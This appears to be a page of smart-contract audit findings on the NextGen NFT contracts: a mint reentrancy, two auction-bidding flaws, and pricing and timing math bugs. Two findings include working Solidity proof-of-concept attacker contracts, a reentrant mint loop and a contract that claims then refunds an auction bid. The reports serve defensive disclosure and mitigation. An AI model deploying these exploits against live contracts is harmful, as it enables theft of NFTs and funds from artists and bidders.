NextGen - AvantGard's results

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L189-L200

Vulnerability details

Impact

Not following the recommended Checks-Effects-Interaction pattern in mint() function allows Contract addresses to re-enter using the onERC721Received() hook and mint more NFTs than they were allowed, both during the allowlist & public sale phases.

Proof of Concept

Likelihood: High Impact : High

Ownership distribution & trust of the community are important metrics for an NFT collection. Allowing certain malicious actors to accumulate majority of the supply can lead to serious questions and distrust among the community.

Alice = Attacker

The Reentrancy arises from the fact that the _safemint() external call is made before updating the 2 important mappings tokensMintedAllowlistAddress and tokensMintedPerAddress.

tokensMintedAllowlistAddress represents the number of NFTs minted by an address during allowlist phase and tokensMintedPerAddress represents the number of NFTs minted by an address during public sale phase

The _safemint() function calls the onERC721Received() on the NFT receiving contract to ensure it can safely handle NFTs before minting.

The Issue here is that, using this hook, a malicious contract can callback into the NextGenMinterContract to execute subsequent mints before the above mentioned mappings are updated. This can be repeated until the total Supply of the collection is exhausted.

Lets consider, a new collection gets created for public sale with following important parameters.

Collection ID = 1 TotalSupply = 1000 collectionMintCost = 0.1 Ether maxCollectionPurchases = 2 ( Maximum of 2 NFTs allowed per address during public)

Alice is the attacker here and wants to get as many NFTs for themselves, even though the contract intends only a maximum of 2 NFTs per address during the public sale.

For the sake of this example, Lets only consider the important parameters required to illustrate this attack. Assume Alice has 100 ether

and initiates the attack like so Step 1

function initiateAttack() external {
        // Initiate call to the target contract
        console.log("Initiating attack on :", address(minterContract));
       
        minterContract.mint {value : 0.1 ether}
                            (1, // _collectionID
                             1, // _numberOfTokens
                             0, // _maxAllowance - allowlist sale limit - not relavant for this example
                             '{"tdh": "100"}',  // _tokenData
                             address(this)); // _mintTo

    }

Step 2

function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4) {
        _reentrancyCallback();
        return this.onERC721Received.selector;
    } 

Step 3

function _reentrancyCallback() internal  {
        
        if (reenter) {
            // Execute attack
            _executeAttack();

        } else if (!reenter) {
            // Already ran the attack once
            console.log("\n>>> Attack completed ");
        } 
    }

Step 4

function _executeAttack() internal  {
     (,,,uint256 totalSupply) = genCore.retrieveCollectionAdditionalData(1);

    if(genCore.viewCirSupply(1) < totalSupply) {  
        ++ count;
        console.log("Reentry count : ", count );                  
        minterContract.mint {value : 0.1 ether}
                            (1,
                             1,
                             0,
                            '{"tdh": "100"}', 
                            address(this));
     } else {
        reenter = false;
        console.log(">>> All punks in my bag <<<");
        console.log("Attacker NFT balance after Attack ", genCore.balanceOf(address(this)) );  
     }
    }

The above PoC shows Alice ends up with much more NFTs than intended by the NextGen system.

Note that, the same attack can be executed during an allowlist sale. which is even more critical.

As majority of the allowlisted members and the public will end up with no supply to mint.

This can lead to serious confidence issues among the NFT community regarding the legitimacy of the project.

Tools Used

Foundry, Manual Analysis.

Recommended Mitigation Steps

Follow the check-effects-interaction pattern.

Update the state mappings tokensMintedAllowlistAddress and tokensMintedPerAddress before the external calls.

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L124-L130 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L134-L143

Vulnerability details

Impact

Any user can exploit the missing bid extension windows in the cancelBid() & cancelAllBids() functions to win the auction with bids much lesser than perceived true market valuation.

Proof of Concept

Adam = Attacker

Assume an High demand NFT art is put on sale through mintAndAuction Where _auctionEndTime is set to 1699920000 (November 14, 2023 12:00:00 AM), and _tokenId = 1000000420.

Lets say the perceived market valuation of the NFT is 5 ETH

Once the auction begins and assuming Adam is first bidder for sake of this example.

Adam could exploit the auction in the following steps In a single transaction.

1. Places an initial Low Bid 'A' of say 0.1 ETH for the _tokenId = 1000000420.

2. Simultaneously places an outrageously High bid 'B' (say 50 ETH) on the same _tokenId, that is unlikely to be outbid.

3. Other interested parties dont see the value anymore in outbidding Adam as the price is very high. (This essentially creates a kind of DoS for other users from bidding)

4. Adam waits until the last moments of the auction deadline : such that the block.timestamp = 1699919970 (November 13, 2023 11:59:30 PM) which satisfies the check block.timestamp <= minter.getAuctionEndTime(_tokenid)

5. Cancels the High bid 'B' the cancelBid() function to (50 ETH) and receives the refund.

6. None of the other potential bidders are given enough time by the contract to counteract the cancelled bid.

7. Since there are no other bids present between his 2 bids A & B, due to the restriction. Adam observes the auction outcome to confirm that his low bid 'A' (0.1 ETH) wins the auction (unfairly).

This way Adam is able to use the lack of bid extension window to exploit the auction, making an hefty profit by selling the token in secondary market for a much higher price.

Resulting in

1. loss of sales revenue for the artist, and
2. Unfairly prohibiting other potential bidders from participating in the auction.

Tools Used

Manual Analysis

Recommended Mitigation Steps

Here are some ways to mitigate this issue,

1. Dont allow the highest bid to be cancelled after a certain threshold limit before an auction deadline. or
2. If the higgest bid is allowed to be cancelled, then increase the bid extension window by a certain fixed time period (say 10 mins). or
3. Allow all bids to be placed, even if they are lower than the current highest bid. This creates a deep order book to fall back on if the highest bidder pulls out. (but beware of the unbounded length of the array in this method)

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L104-L105 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L124-L125 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L134-L135

Vulnerability details

Impact

Missing auctionClaim[_tokenid] == false checks in cancelBid() & cancelAllBids() functions and Erroneous Condition checks with reference to _auctionEndTime of a _tokenID allows an attacker to simultaneously call both claimAuction() and cancelBid(), at a particular block.timestamp.

Resulting in both

1. acquisition of the NFT, and
2. refunded bid amount.

Proof of Concept

In Ethereum's Proof Of Stake (PoS) model, New blocks are added to the chain in exact 12 second intervals.

Validators know well in advance of which blocks they will be proposing to the chain. Even if validators cannot manipulate the block.timestamp like miners did in PoW Ethereum.

Any malicious user can easily monitor the Auction End Time using the getAuctionEndTime() function in the minter contract.

Then by looking at the require statements in the following functions, It can be inferred that there will be times where the block.timestamp value will be exactly equal to the minter.getAuctionEndTime(_tokenid).

function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){

        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && 
                auctionClaim[_tokenid] == false && 
                minter.getAuctionStatus(_tokenid) == true);

function cancelBid(uint256 _tokenid, uint256 index) public {
        require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");

function cancelAllBids(uint256 _tokenid) public {
        require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");

Lets illustrate the attack flow.

Adam = Attacker Adam's balance = 101 ETHER auctioned _tokenId = 10000000000

contract AuctionAttack   {

    AuctionDemo public auctionContract;
    NextGenMinterContract public minterContract;
    NextGenCore public genCore;

    constructor(address _auction, address _minter, address _genCore) {
        auctionContract = AuctionDemo(_auction);
        minterContract = NextGenMinterContract(_minter);
        genCore = NextGenCore(_genCore);
    }        

	 // To receive the NFT from genCore
   function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4) {

        return this.onERC721Received.selector;
    }    
	
		// attack is initiated if block.timestamp == Auction EndTime

    function pwnAuctionDemo(uint256 _tokenid) public {
        
        if(block.timestamp == minterContract.getAuctionEndTime(_tokenid)) {

	        auctionContract.participateToAuction{value : 100 ether}(10000000000);  // bidding 100 ether

	        auctionContract.claimAuction(10000000000);  

	        auctionContract.cancelBid(10000000000 , 0); // assuming he's the first bidder

	        console.log("Attacker ether balance after minting: ", address(this).balance);
	        console.log("Attacker NFT balance after Attack ", genCore.balanceOf(address(this)));         

        }  
    }
	
		// To receive refund from auctioncontract
    fallback() external payable {}

}

1. Adam monitors the auction end time (T) of all tokenIds put on auction. Let's call this time T.

   (He observes that some NFTs have these 'T' values exactly in sync with block creation intervals) such that, in the future. A particular block.timestamp = T

2. Adam Initiates the attack, When the required condition if(block.timestamp == minterContract.getAuctionEndTime(_tokenid)) is satisfied.

    by passing in the vulnerable `_tokenId` to the `pwnAuctionDemo()` function
    along with very high bid 'B' (say , 100 ETH) that will NOT be outbid.
   

3. As part of the same transaction, he also calls the claimAuction(10000000000) to claim the NFT since , block.timestamp >= minter.getAuctionEndTime(_tokenid) is satisfied.

4. Still part of the same tx, and taking advantage of the <= check and the missing auctionClaim[_tokenid] == false check he then proceeds to cancel his bid 'B' (100 ETH) to receive the refund, as require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended") is satisfied.

This way Adam is able to exploit the Auction contract to steal the NFT without losing any ETH.

Tools Used

Manual analysis, Foundry

Recommended Mitigation Steps

There are a few ways to solve this.

1. The cancelBid & cancelAllBids functions both should add the following check, and revert if the auction is already claimed.

require(auctionClaim[_tokenid] == false, "Auction closed");

2. In the claimAuction() function. Remove the = from the require statement so that the condition looks as shown below block.timestamp > minter.getAuctionEndTime(_tokenid)

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L240-L253

Vulnerability details

Impact

' Periodic sales' model cannot be used in a collection with Pre-existing supply because of how timeOfLastMint is calculated in mint() function.

This prevents the system from flexibly combining different sales models in a single collection as intended by the business model.

Proof of Concept

https://seize-io.gitbook.io/nextgen/nextgen-smart-contracts/features#minting-process

The docs of the NextGen Protocol (linked above) states the following,

* A collection can have an arbitrary number of phases (starting and ending times), 
each with their own allowlist.

* The sales models can be combined with phased allowlists to execute very complex drops.

Lets consider a common scenario followed in the NFT community, where Total Supply = 8500 collectionMintCost = 1 ETH 100 % of the total supply is allocate to allowlisted addresses, and any unminted NFTs go over to public sale phase.

Lets say 8000 NFTs are minted in allowlist phase.

The collection's admin wants to utilize ' Periodic sales' (sales model 3) for unminted tokens in a public sale phase.

In this case, the lastMintDate[col] would be assigned a value that is much higher due to gencore.viewCirSupply(col) in the formula

lastMintDate[col] = collectionPhases[col].allowlistStartTime + (collectionPhases[col].timePeriod * (gencore.viewCirSupply(col) - 1));

This means timeOfLastMint will be much greater than block.timestamp and tDiff will be 0.

uint tDiff = (block.timestamp - timeOfLastMint) / collectionPhases[col].timePeriod;

This effectively reverts due to the following check,

require(tDiff>=1 && _numberOfTokens == 1, "1 mint/period");

preventing the NextGen system from flexibly combining different sales models in a single collection as intended by the business model.

Tools Used

Manual Analysis, Foundry.

Recommended Mitigation Steps

Remodel the way to calculate ' lastMintDate[col] '
by tracking the number of NFTs minted through sales model 3 using a separate counter without taking the collection's current ciculating supply into account.

Assessed type

Math

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L535-L536

Vulnerability details

Impact

' Periodic sales' model cannot be effectively used in a collection with Pre-existing supply, due to the unreasonably high prices reported by the currently employed price formula in 'getPrice()'.

This prevents the system from flexibly combining different sales models in a single collection as intended by the business model.

Proof of Concept

https://seize-io.gitbook.io/nextgen/nextgen-smart-contracts/features#minting-process

The docs of the NextGen Protocol (linked above) states the following,

* A collection can have an arbitrary number of phases (starting and ending times), 
each with their own allowlist.

* The sales models can be combined with phased allowlists to execute very complex drops.

For Illustration, this means

A collection with a supply of 10,000 NFTs can be split into different phases, where each phase can have it own supply and sales model.

Lets consider a common scenario followed in the NFT community, where collectionMintCost = 1 ETH 100 % of the total supply is allocate to allowlisted addresses, and any unminted NFTs go over to public sale phase.

Here, the collection's admin wants to utilize ' Periodic sales' (sales model 3) for public sale phase. where he wants the price to increase by 0.005 ETH ( 1.005 ETH, 1.01, 1.015 ETH and so on) for every 30 second 'time period'
after the publicStartTime.

if (collectionPhases[_collectionId].salesOption == 3) {

            if (collectionPhases[_collectionId].rate > 0) {
                return collectionPhases[_collectionId].collectionMintCost + 
                      ((collectionPhases[_collectionId].collectionMintCost / 
                      collectionPhases[_collectionId].rate) * gencore.viewCirSupply(_collectionId));

Lets say 9000 tokens are minted in the allowlist phase and 1000 tokens are left unminted. So it is time for public sale phase under' sales model 3'.

The potential buyer queries getPrice() for this collection and gets an outrageous price of 451 ETH.

Its because the current formula calculates price using the circulating supply of the collection which is curently sitting at 9000.

This prevents the NextGen system from performing complex drops by effectively combine different sales models in a single collection as intended by the business model.

Tools Used

Manual Review, Foundry.

Recommended Mitigation Steps

Remodel the way to calculate ' Periodic sales model ' prices by tracking the number of NFTs minted through sales model 3 using a separate counter without taking the collection's current ciculating supply into account.

Assessed type

Math